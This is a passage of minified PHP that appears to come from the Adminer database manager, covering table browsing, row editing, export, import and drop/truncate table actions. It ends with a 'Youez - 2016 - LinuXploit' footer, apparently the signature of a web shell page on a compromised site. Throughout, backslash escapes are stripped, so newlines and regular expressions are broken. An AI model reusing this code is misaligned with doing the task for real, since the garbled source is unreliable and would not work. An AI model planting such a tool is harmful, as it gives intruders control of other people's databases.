as$z=>$X){$fh[]=idf_escape($z);if($td)$td[]=idf_escape($z);}}$H=$m->select($a,$fh,$Z,$td,$Bf,$_,$E,true);if(!$H)echo"<p class='error'>".error()."n";else{if($y=="mssql"&&$E)$H->seek($_*$E);$yc=array();echo"<form action='' method='post' enctype='multipart/form-data'>n";$K=array();while($J=$H->fetch_assoc()){if($E&&$y=="oracle")unset($J["RNUM"]);$K[]=$J;}if($_GET["page"]!="last"&&$_!=""&&$sd&&$ce&&$y=="sql")$md=$g->result(" SELECT FOUND_ROWS()");if(!$K)echo"<p class='message'>".lang(12)."n";else{$Pa=$b->backwardKeys($a,$Rh);echo"<div class='scrollable'>","<table id='table' cellspacing='0' class='nowrap checkable'>",script("mixin(qs('#table'), {onclick: tableClick, ondblclick: partialArg(tableClick, true), onkeydown: editingKeydown});"),"<thead><tr>".(!$sd&&$L?"":"<td><input type='checkbox' id='all-page' class='jsonly'>".script("qs('#all-page').onclick = partial(formCheck, /check/);","")." <a href='".h($_GET["modify"]?remove_from_uri("modify"):$_SERVER["REQUEST_URI"]."&modify=1")."'>".lang(254)."</a>");$Ye=array();$pd=array();reset($L);$Bg=1;foreach($K[0]as$z=>$X){if(!isset($Ji[$z])){$X=$_GET["columns"][key($L)];$o=$p[$L?($X?$X["col"]:current($L)):$z];$D=($o?$b->fieldName($o,$Bg):($X["fun"]?"*":$z));if($D!=""){$Bg++;$Ye[$z]=$D;$d=idf_escape($z);$Gd=remove_from_uri('(order|desc)[^=]*|page').'&order%5B0%5D='.urlencode($z);$dc="&desc%5B0%5D=1";echo"<th id='th[".h(bracket_escape($z))."]'>".script("mixin(qsl('th'), {onmouseover: partial(columnMouse), onmouseout: partial(columnMouse, ' hidden')});",""),'<a href="'.h($Gd.($Bf[0]==$d||$Bf[0]==$z||(!$Bf&&$ce&&$sd[0]==$d)?$dc:'')).'">';echo
apply_sql_function($X["fun"],$D)."</a>";echo"<span class='column hidden'>","<a href='".h($Gd.$dc)."' title='".lang(59)."' class='text'> ↓</a>";if(!$X["fun"]){echo'<a href="#fieldset-search" title="'.lang(56).'" class="text jsonly"> =</a>',script("qsl('a').onclick = partial(selectSearch, '".js_escape($z)."');");}echo"</span>";}$pd[$z]=$X["fun"];next($L);}}$xe=array();if($_GET["modify"]){foreach($K
as$J){foreach($J
as$z=>$X)$xe[$z]=max($xe[$z],min(40,strlen(utf8_decode($X))));}}echo($Pa?"<th>".lang(255):"")."</thead>n";if(is_ajax()){if($_%2==1&&$E%2==1)odd();ob_end_clean();}foreach($b->rowDescriptions($K,$jd)as$Xe=>$J){$Gi=unique_array($K[$Xe],$x);if(!$Gi){$Gi=array();foreach($K[$Xe]as$z=>$X){if(!preg_match('~^(COUNT((*|(DISTINCT )?`(?:[^`]|``)+`))|(AVG|GROUP_CONCAT|MAX|MIN|SUM)(`(?:[^`]|``)+`))$~',$z))$Gi[$z]=$X;}}$Hi="";foreach($Gi
as$z=>$X){if(($y=="sql"||$y=="pgsql")&&preg_match('~char|text|enum|set~',$p[$z]["type"])&&strlen($X)>64){$z=(strpos($z,'(')?$z:idf_escape($z));$z="MD5(".($y!='sql'||preg_match("~^utf8~",$p[$z]["collation"])?$z:"CONVERT($z USING ".charset($g).")").")";$X=md5($X);}$Hi.="&".($X!==null?urlencode("where[".bracket_escape($z)."]")."=".urlencode($X):"null%5B%5D=".urlencode($z));}echo"<tr".odd().">".(!$sd&&$L?"":"<td>".checkbox("check[]",substr($Hi,1),in_array(substr($Hi,1),(array)$_POST["check"])).($ce||information_schema(DB)?"":" <a href='".h(ME."edit=".urlencode($a).$Hi)."' class='edit'>".lang(256)."</a>"));foreach($J
as$z=>$X){if(isset($Ye[$z])){$o=$p[$z];$X=$m->value($X,$o);if($X!=""&&(!isset($yc[$z])||$yc[$z]!=""))$yc[$z]=(is_mail($X)?$Ye[$z]:"");$A="";if(preg_match('~blob|bytea|raw|file~',$o["type"])&&$X!="")$A=ME.'download='.urlencode($a).'&field='.urlencode($z).$Hi;if(!$A&&$X!==null){foreach((array)$jd[$z]as$r){if(count($jd[$z])==1||end($r["source"])==$z){$A="";foreach($r["source"]as$t=>$yh)$A.=where_link($t,$r["target"][$t],$K[$Xe][$yh]);$A=($r["db"]!=""?preg_replace('~([?&]db=)[^&]+~','1'.urlencode($r["db"]),ME):ME).'select='.urlencode($r["table"]).$A;if($r["ns"])$A=preg_replace('~([?&]ns=)[^&]+~','1'.urlencode($r["ns"]),$A);if(count($r["source"])==1)break;}}}if($z=="COUNT(*)"){$A=ME."select=".urlencode($a);$t=0;foreach((array)$_GET["where"]as$W){if(!array_key_exists($W["col"],$Gi))$A.=where_link($t++,$W["col"],$W["val"],$W["op"]);}foreach($Gi
as$he=>$W)$A.=where_link($t++,$he,$W);}$X=select_value($X,$A,$o,$fi);$u=h("val[$Hi][".bracket_escape($z)."]");$Y=$_POST["val"][$Hi][bracket_escape($z)];$tc=!is_array($J[$z])&&is_utf8($X)&&$K[$Xe][$z]==$J[$z]&&!$pd[$z];$ei=preg_match('~text|lob~',$o["type"]);echo"<td id='$u'";if(($_GET["modify"]&&$tc)||$Y!==null){$xd=h($Y!==null?$Y:$J[$z]);echo">".($ei?"<textarea name='$u' cols='30' rows='".(substr_count($J[$z],"n")+1)."'>$xd</textarea>":"<input name='$u' value='$xd' size='$xe[$z]'>");}else{$Ae=strpos($X,"<i>…</i>");echo" data-text='".($Ae?2:($ei?1:0))."'".($tc?"":" data-warning='".h(lang(257))."'").">$X</td>";}}}if($Pa)echo"<td>";$b->backwardKeysPrint($Pa,$K[$Xe]);echo"</tr>n";}if(is_ajax())exit;echo"</table>n","</div>n";}if(!is_ajax()){if($K||$E){$Ic=true;if($_GET["page"]!="last"){if($_==""||(count($K)<$_&&($K||!$E)))$md=($E?$E*$_:0)+count($K);elseif($y!="sql"||!$ce){$md=($ce?false:found_rows($R,$Z));if($md<max(1e4,2*($E+1)*$_))$md=reset(slow_query(count_rows($a,$Z,$ce,$sd)));else$Ic=false;}}$Pf=($_!=""&&($md===false||$md>$_||$E));if($Pf){echo(($md===false?count($K)+1:$md-$E*$_)>$_?'<p><a href="'.h(remove_from_uri("page")."&page=".($E+1)).'" class="loadmore">'.lang(258).'</a>'.script("qsl('a').onclick = partial(selectLoadMore, ".(+$_).", '".lang(259)."…');",""):''),"n";}}echo"<div class='footer'><div>n";if($K||$E){if($Pf){$Ie=($md===false?$E+(count($K)>=$_?2:1):floor(($md-1)/$_));echo"<fieldset>";if($y!="simpledb"){echo"<legend><a href='".h(remove_from_uri("page"))."'>".lang(260)."</a></legend>",script("qsl('a').onclick = function () { pageClick(this.href, +prompt('".lang(260)."', '".($E+1)."')); return false; };"),pagination(0,$E).($E>5?" …":"");for($t=max(1,$E-4);$t<min($Ie,$E+5);$t++)echo
pagination($t,$E);if($Ie>0){echo($E+5<$Ie?" …":""),($Ic&&$md!==false?pagination($Ie,$E):" <a href='".h(remove_from_uri("page")."&page=last")."' title='~$Ie'>".lang(261)."</a>");}}else{echo"<legend>".lang(260)."</legend>",pagination(0,$E).($E>1?" …":""),($E?pagination($E,$E):""),($Ie>$E?pagination($E+1,$E).($Ie>$E+1?" …":""):"");}echo"</fieldset>n";}echo"<fieldset>","<legend>".lang(262)."</legend>";$ic=($Ic?"":"~ ").$md;echo
checkbox("all",1,0,($md!==false?($Ic?"":"~ ").lang(150,$md):""),"var checked = formChecked(this, /check/); selectCount('selected', this.checked ? '$ic' : checked); selectCount('selected2', this.checked || !checked ? '$ic' : checked);")."n","</fieldset>n";if($b->selectCommandPrint()){echo'<fieldset',($_GET["modify"]?'':' class="jsonly"'),'><legend>',lang(254),'</legend><div>
<input type="submit" value="',lang(14),'"',($_GET["modify"]?'':' title="'.lang(250).'"'),'>
</div></fieldset>
<fieldset><legend>',lang(126),' <span id="selected"></span></legend><div>
<input type="submit" name="edit" value="',lang(10),'">
<input type="submit" name="clone" value="',lang(246),'">
<input type="submit" name="delete" value="',lang(18),'">',confirm(),'</div></fieldset>
';}$kd=$b->dumpFormat();foreach((array)$_GET["columns"]as$d){if($d["fun"]){unset($kd['sql']);break;}}if($kd){print_fieldset("export",lang(73)." <span id='selected2'></span>");$Mf=$b->dumpOutput();echo($Mf?html_select("output",$Mf,$za["output"])." ":""),html_select("format",$kd,$za["format"])," <input type='submit' name='export' value='".lang(73)."'>n","</div></fieldset>n";}$b->selectEmailPrint(array_filter($yc,'strlen'),$e);}echo"</div></div>n";if($b->selectImportPrint()){echo"<div>","<a href='#import'>".lang(72)."</a>",script("qsl('a').onclick = partial(toggle, 'import');",""),"<span id='import' class='hidden'>: ","<input type='file' name='csv_file'> ",html_select("separator",array("csv"=>"CSV,","csv;"=>"CSV;","tsv"=>"TSV"),$za["format"],1);echo" <input type='submit' name='import' value='".lang(72)."'>","</span>","</div>";}echo"<input type='hidden' name='token' value='$qi'>n","</form>n",(!$sd&&$L?"":script("tableCheck();"));}}}if(is_ajax()){ob_end_clean();exit;}}elseif(isset($_GET["variables"])){$O=isset($_GET["status"]);page_header($O?lang(118):lang(117));$Xi=($O?show_status():show_variables());if(!$Xi)echo"<p class='message'>".lang(12)."n";else{echo"<table cellspacing='0'>n";foreach($Xi
as$z=>$X){echo"<tr>","<th><code class='jush-".$y.($O?"status":"set")."'>".h($z)."</code>","<td>".h($X);}echo"</table>n";}}elseif(isset($_GET["script"])){header("Content-Type: text/javascript; charset=utf-8");if($_GET["script"]=="db"){$Oh=array("Data_length"=>0,"Index_length"=>0,"Data_free"=>0);foreach(table_status()as$D=>$R){json_row("Comment-$D",h($R["Comment"]));if(!is_view($R)){foreach(array("Engine","Collation")as$z)json_row("$z-$D",h($R[$z]));foreach($Oh+array("Auto_increment"=>0,"Rows"=>0)as$z=>$X){if($R[$z]!=""){$X=format_number($R[$z]);json_row("$z-$D",($z=="Rows"&&$X&&$R["Engine"]==($Ah=="pgsql"?"table":"InnoDB")?"~ $X":$X));if(isset($Oh[$z]))$Oh[$z]+=($R["Engine"]!="InnoDB"||$z!="Data_free"?$R[$z]:0);}elseif(array_key_exists($z,$R))json_row("$z-$D");}}}foreach($Oh
as$z=>$X)json_row("sum-$z",format_number($X));json_row("");}elseif($_GET["script"]=="kill")$g->query("KILL ".number($_POST["kill"]));else{foreach(count_tables($b->databases())as$l=>$X){json_row("tables-$l",$X);json_row("size-$l",db_size($l));}json_row("");}exit;}else{$Xh=array_merge((array)$_POST["tables"],(array)$_POST["views"]);if($Xh&&!$n&&!$_POST["search"]){$H=true;$Ne="";if($y=="sql"&&$_POST["tables"]&&count($_POST["tables"])>1&&($_POST["drop"]||$_POST["truncate"]||$_POST["copy"]))queries("SET foreign_key_checks = 0");if($_POST["truncate"]){if($_POST["tables"])$H=truncate_tables($_POST["tables"]);$Ne=lang(263);}elseif($_POST["move"]){$H=move_tables((array)$_POST["tables"],(array)$_POST["views"],$_POST["target"]);$Ne=lang(264);}elseif($_POST["copy"]){$H=copy_tables((array)$_POST["tables"],(array)$_POST["views"],$_POST["target"]);$Ne=lang(265);}elseif($_POST["drop"]){if($_POST["views"])$H=drop_views($_POST["views"]);if($H&&$_POST["tables"])$H=drop_tables($_POST["tables"]);$Ne=lang(266);}elseif($y!="sql"){$H=($y=="sqlite"?queries("VACUUM"):apply_queries("VACUUM".($_POST["optimize"]?"":" ANALYZE"),$_POST["tables"]));$Ne=lang(267);}elseif(!$_POST["tables"])$Ne=lang(9);elseif($H=queries(($_POST["optimize"]?"OPTIMIZE":($_POST["check"]?"CHECK":($_POST["repair"]?"REPAIR":"ANALYZE")))." TABLE ".implode(", ",array_map('idf_escape',$_POST["tables"])))){while($J=$H->fetch_assoc())$Ne.="<b>".h($J["Table"])."</b>: ".h($J["Msg_text"])."<br>";}queries_redirect(substr(ME,0,-1),$Ne,$H);}page_header(($_GET["ns"]==""?lang(37).": ".h(DB):lang(77).": ".h($_GET["ns"])),$n,true);if($b->homepage()){if($_GET["ns"]!==""){echo"<h3 id='tables-views'>".lang(268)."</h3>n";$Wh=tables_list();if(!$Wh)echo"<p class='message'>".lang(9)."n";else{echo"<form action='' method='post'>n";if(support("table")){echo"<fieldset><legend>".lang(269)." <span id='selected2'></span></legend><div>","<input type='search' name='query' value='".h($_POST["query"])."'>",script("qsl('input').onkeydown = partialArg(bodyKeydown, 'search');","")," <input type='submit' name='search' value='".lang(56)."'>n","</div></fieldset>n";if($_POST["search"]&&$_POST["query"]!=""){$_GET["where"][0]["op"]="LIKE %%";search_tables();}}echo"<div class='scrollable'>n","<table cellspacing='0' class='nowrap checkable'>n",script("mixin(qsl('table'), {onclick: tableClick, ondblclick: partialArg(tableClick, true)});"),'<thead><tr class="wrap">','<td><input id="check-all" type="checkbox" class="jsonly">'.script("qs('#check-all').onclick = partial(formCheck, /^(tables|views)[/);",""),'<th>'.lang(131),'<td>'.lang(270).doc_link(array('sql'=>'storage-engines.html')),'<td>'.lang(122).doc_link(array('sql'=>'charset-charsets.html','mariadb'=>'supported-character-sets-and-collations/')),'<td>'.lang(271).doc_link(array('sql'=>'show-table-status.html','pgsql'=>'functions-admin.html#FUNCTIONS-ADMIN-DBOBJECT','oracle'=>'REFRN20286')),'<td>'.lang(272).doc_link(array('sql'=>'show-table-status.html','pgsql'=>'functions-admin.html#FUNCTIONS-ADMIN-DBOBJECT')),'<td>'.lang(273).doc_link(array('sql'=>'show-table-status.html')),'<td>'.lang(51).doc_link(array('sql'=>'example-auto-increment.html','mariadb'=>'auto_increment/')),'<td>'.lang(274).doc_link(array('sql'=>'show-table-status.html','pgsql'=>'catalog-pg-class.html#CATALOG-PG-CLASS','oracle'=>'REFRN20286')),(support("comment")?'<td>'.lang(50).doc_link(array('sql'=>'show-table-status.html','pgsql'=>'functions-info.html#FUNCTIONS-INFO-COMMENT-TABLE')):''),"</thead>n";$S=0;foreach($Wh
as$D=>$T){$aj=($T!==null&&!preg_match('~table|sequence~i',$T));$u=h("Table-".$D);echo'<tr'.odd().'><td>'.checkbox(($aj?"views[]":"tables[]"),$D,in_array($D,$Xh,true),"","","",$u),'<th>'.(support("table")||support("indexes")?"<a href='".h(ME)."table=".urlencode($D)."' title='".lang(42)."' id='$u'>".h($D).'</a>':h($D));if($aj){echo'<td colspan="6"><a href="'.h(ME)."view=".urlencode($D).'" title="'.lang(43).'">'.(preg_match('~materialized~i',$T)?lang(129):lang(130)).'</a>','<td align="right"><a href="'.h(ME)."select=".urlencode($D).'" title="'.lang(41).'">?</a>';}else{foreach(array("Engine"=>array(),"Collation"=>array(),"Data_length"=>array("create",lang(44)),"Index_length"=>array("indexes",lang(133)),"Data_free"=>array("edit",lang(45)),"Auto_increment"=>array("auto_increment=1&create",lang(44)),"Rows"=>array("select",lang(41)),)as$z=>$A){$u=" id='$z-".h($D)."'";echo($A?"<td align='right'>".(support("table")||$z=="Rows"||(support("indexes")&&$z!="Data_length")?"<a href='".h(ME."$A[0]=").urlencode($D)."'$u title='$A[1]'>?</a>":"<span$u>?</span>"):"<td id='$z-".h($D)."'>");}$S++;}echo(support("comment")?"<td id='Comment-".h($D)."'>":"");}echo"<tr><td><th>".lang(247,count($Wh)),"<td>".h($y=="sql"?$g->result("SELECT @@default_storage_engine"):""),"<td>".h(db_collation(DB,collations()));foreach(array("Data_length","Index_length","Data_free")as$z)echo"<td align='right' id='sum-$z'>";echo"</table>n","</div>n";if(!information_schema(DB)){echo"<div class='footer'><div>n";$Ui="<input type='submit' value='".lang(275)."'> ".on_help("'VACUUM'");$yf="<input type='submit' name='optimize' value='".lang(276)."'> ".on_help($y=="sql"?"'OPTIMIZE TABLE'":"'VACUUM OPTIMIZE'");echo"<fieldset><legend>".lang(126)." <span id='selected'></span></legend><div>".($y=="sqlite"?$Ui:($y=="pgsql"?$Ui.$yf:($y=="sql"?"<input type='submit' value='".lang(277)."'> ".on_help("'ANALYZE TABLE'").$yf."<input type='submit' name='check' value='".lang(278)."'> ".on_help("'CHECK TABLE'")."<input type='submit' name='repair' value='".lang(279)."'> ".on_help("'REPAIR TABLE'"):"")))."<input type='submit' name='truncate' value='".lang(280)."'> ".on_help($y=="sqlite"?"'DELETE'":"'TRUNCATE".($y=="pgsql"?"'":" TABLE'")).confirm()."<input type='submit' name='drop' value='".lang(127)."'>".on_help("'DROP TABLE'").confirm()."n";$k=(support("scheme")?$b->schemas():$b->databases());if(count($k)!=1&&$y!="sqlite"){$l=(isset($_POST["target"])?$_POST["target"]:(support("scheme")?$_GET["ns"]:DB));echo"<p>".lang(281).": ",($k?html_select("target",$k,$l):'<input name="target" value="'.h($l).'" autocapitalize="off">')," <input type='submit' name='move' value='".lang(282)."'>",(support("copy")?" <input type='submit' name='copy' value='".lang(283)."'> ".checkbox("overwrite",1,$_POST["overwrite"],lang(284)):""),"n";}echo"<input type='hidden' name='all' value=''>";echo
script("qsl('input').onclick = function () { selectCount('selected', formChecked(this, /^(tables|views)[/));".(support("table")?" selectCount('selected2', formChecked(this, /^tables[/) || $S);":"")." }"),"<input type='hidden' name='token' value='$qi'>n","</div></fieldset>n","</div></div>n";}echo"</form>n",script("tableCheck();");}echo'<p class="links"><a href="'.h(ME).'create=">'.lang(74)."</a>n",(support("view")?'<a href="'.h(ME).'view=">'.lang(204)."</a>n":"");if(support("routine")){echo"<h3 id='routines'>".lang(143)."</h3>n";$Yg=routines();if($Yg){echo"<table cellspacing='0'>n",'<thead><tr><th>'.lang(183).'<td>'.lang(49).'<td>'.lang(221)."<td></thead>n";odd('');foreach($Yg
as$J){$D=($J["SPECIFIC_NAME"]==$J["ROUTINE_NAME"]?"":"&name=".urlencode($J["ROUTINE_NAME"]));echo'<tr'.odd().'>','<th><a href="'.h(ME.($J["ROUTINE_TYPE"]!="PROCEDURE"?'callf=':'call=').urlencode($J["SPECIFIC_NAME"]).$D).'">'.h($J["ROUTINE_NAME"]).'</a>','<td>'.h($J["ROUTINE_TYPE"]),'<td>'.h($J["DTD_IDENTIFIER"]),'<td><a href="'.h(ME.($J["ROUTINE_TYPE"]!="PROCEDURE"?'function=':'procedure=').urlencode($J["SPECIFIC_NAME"]).$D).'">'.lang(136)."</a>";}echo"</table>n";}echo'<p class="links">'.(support("procedure")?'<a href="'.h(ME).'procedure=">'.lang(220).'</a>':'').'<a href="'.h(ME).'function=">'.lang(219)."</a>n";}if(support("sequence")){echo"<h3 id='sequences'>".lang(285)."</h3>n";$mh=get_vals("SELECT sequence_name FROM information_schema.sequences WHERE sequence_schema = current_schema() ORDER BY sequence_name");if($mh){echo"<table cellspacing='0'>n","<thead><tr><th>".lang(183)."</thead>n";odd('');foreach($mh
as$X)echo"<tr".odd()."><th><a href='".h(ME)."sequence=".urlencode($X)."'>".h($X)."</a>n";echo"</table>n";}echo"<p class='links'><a href='".h(ME)."sequence='>".lang(226)."</a>n";}if(support("type")){echo"<h3 id='user-types'>".lang(26)."</h3>n";$Si=types();if($Si){echo"<table cellspacing='0'>n","<thead><tr><th>".lang(183)."</thead>n";odd('');foreach($Si
as$X)echo"<tr".odd()."><th><a href='".h(ME)."type=".urlencode($X)."'>".h($X)."</a>n";echo"</table>n";}echo"<p class='links'><a href='".h(ME)."type='>".lang(230)."</a>n";}if(support("event")){echo"<h3 id='events'>".lang(144)."</h3>n";$K=get_rows("SHOW EVENTS");if($K){echo"<table cellspacing='0'>n","<thead><tr><th>".lang(183)."<td>".lang(286)."<td>".lang(210)."<td>".lang(211)."<td></thead>n";foreach($K
as$J){echo"<tr>","<th>".h($J["Name"]),"<td>".($J["Execute at"]?lang(287)."<td>".$J["Execute at"]:lang(212)." ".$J["Interval value"]." ".$J["Interval field"]."<td>$J[Starts]"),"<td>$J[Ends]",'<td><a href="'.h(ME).'event='.urlencode($J["Name"]).'">'.lang(136).'</a>';}echo"</table>n";$Gc=$g->result("SELECT @@event_scheduler");if($Gc&&$Gc!="ON")echo"<p class='error'><code class='jush-sqlset'>event_scheduler</code>: ".h($Gc)."n";}echo'<p class="links"><a href="'.h(ME).'event=">'.lang(209)."</a>n";}if($Wh)echo
script("ajaxSetHtml('".js_escape(ME)."script=db');");}}}page_footer();

Youez - 2016 - github.com/yon3zu
LinuXploit